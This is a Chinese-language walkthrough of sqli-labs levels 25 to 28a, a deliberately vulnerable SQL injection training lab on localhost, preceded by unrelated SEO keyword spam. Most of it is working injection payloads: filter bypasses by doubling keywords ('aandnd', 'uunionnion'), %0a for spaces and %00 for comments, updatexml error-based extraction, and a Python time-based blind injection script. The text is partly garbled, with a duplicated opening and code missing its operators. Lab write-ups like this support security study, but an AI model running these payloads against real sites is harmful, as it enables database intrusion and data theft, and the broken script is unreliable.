北京做网站公司排,wordpress更好用吗,手机网站大概多少钱,wordpress框架分析一、环境
网上都有不过多阐述
二、sql-labs第25关
它说你的OR和and属于它,那就是过滤了OR和and 注入尝试
不用or和and进行爆破注入,很明显是有注入点的
?id-1 union select 1,2,3-- 查看数据库 ok#xff0c;此道题算是解了但是如果我们用了and了呢
?id-1 and updatex…一、环境
网上都有不过多阐述
二、sql-labs第25关
它说你的OR和and属于它,那就是过滤了OR和and 注入尝试
不用or和and进行爆破注入,很明显是有注入点的
?id-1 union select 1,2,3-- 查看数据库 ok此道题算是解了但是如果我们用了and了呢
?id-1 and updatexml(1,1,1)--
很明显报错 绕过方法双写and
?id-1 aandnd updatexml(1,concat(0x7e,user(),0x7e),1)-- 三、sql-labs第26关
看看界面没空格和注释符了 试着看看怎么报错 替换一下空格 /**/很明显也被过滤掉了 mysql中有常见的空格%0a,%0c,%0d,好还是不行 看看源码到底过滤了啥都是替换形式过滤 那很明显and爆破注入是可以的去试试,很明显确实是可以的
?id1 aandnd 注入语句,当然这个注释也可以and一个全真式绕过
?id1 aandnd(updatexml(1,concat(0x7e,user(),0x7e),1));%00 四、sql-labs26a关
换了一个闭合方式和26一样的单引号闭合多个括号 但是报错被注释了那我们只能盲注了 先测试一下很明显沉睡了三秒
http://127.0.0.1/sqllabs/Less-26a/?id1%27)%20aandnd(if%20ascii(left(database(),1))%3E100,sleep(3),0));%00 行了上脚本吧
import requests
import time
def inject_database(url):name for i in range(1, 20):low 32high 128mid (low high) // 2while low high:payload 1)aandnd(if(ascii(substr(database(),%d,1))%d, sleep(2), 0)aandnd(1)(1 % (i,mid)) params {id:payload}start_time time.time()r requests.get(url, paramsparams)end_time time.time()if end_time - start_time 1:low mid 1else:high midmid (low high) // 2if mid 32:breakname chr(mid)print(name)if __name__ __main__:url http://127.0.0.1/sqli/Less-26a/index.phpinject_database(url)
五、第27关
看一看27的过滤 尝试一下双写
http://127.0.0.1/sqli/Less-27/?id-1%27%0auunionnion
ok绕过了 开始查询
http://127.0.0.1/sqli/Less-27/?id100%27%0auunionnion%0aSelEct%0a1,2,3;%00 好了很明显注入点在2,3操作就行了
爆破注入也可以
http://127.0.0.1/sqli/Less-27/?id1%27%0aand%0aupdatexml(1,concat(0x7e,user(),0x7e),1);%00 六、第27a关
闭合方式变成号了跟27一模一样
七、第28关
?id1%27)%0aunion%0aselect 被限制了 有个/i修饰符无视大小写了如何绕过双写即可
http://127.0.0.1/sqli/Less-28/?id1%27)%0aunion%0aunion%0aselectselect 最终
http://127.0.0.1/sqli/Less-28/?id100%27)%0aunion%0aunion%0aselectselect%0a1,2,3;%00 八、28a
跟28一样的而且限制变少了没空格等限制了